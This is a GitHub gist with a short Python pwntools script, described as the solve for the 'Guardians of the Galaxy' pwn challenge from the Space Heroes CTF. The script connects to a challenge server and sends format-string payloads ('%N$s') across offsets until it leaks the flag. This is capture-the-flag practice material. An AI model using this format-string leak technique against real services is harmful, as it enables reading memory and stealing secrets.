Skip to content

Instantly share code, notes, and snippets.

@jktrn
Last active June 15, 2022 16:33
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jktrn/abced39a897e40c196dc2eb3348e1db9 to your computer and use it in GitHub Desktop.
Save jktrn/abced39a897e40c196dc2eb3348e1db9 to your computer and use it in GitHub Desktop.
Solve for the pwn/binary challenge "Guardians of the Galaxy" from the Space Heroes CTF competition.
from pwn import *
for i in range(0, 100):
p = remote('0.cloud.chals.io', 12690)
log.info(f"Trying offset {i}...")
p.sendline(bytes(('%' + str(i) + '$s'), encoding='utf-8'))
output = p.recvS()
if 'shctf' in output:
log.success(output)
break
p.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment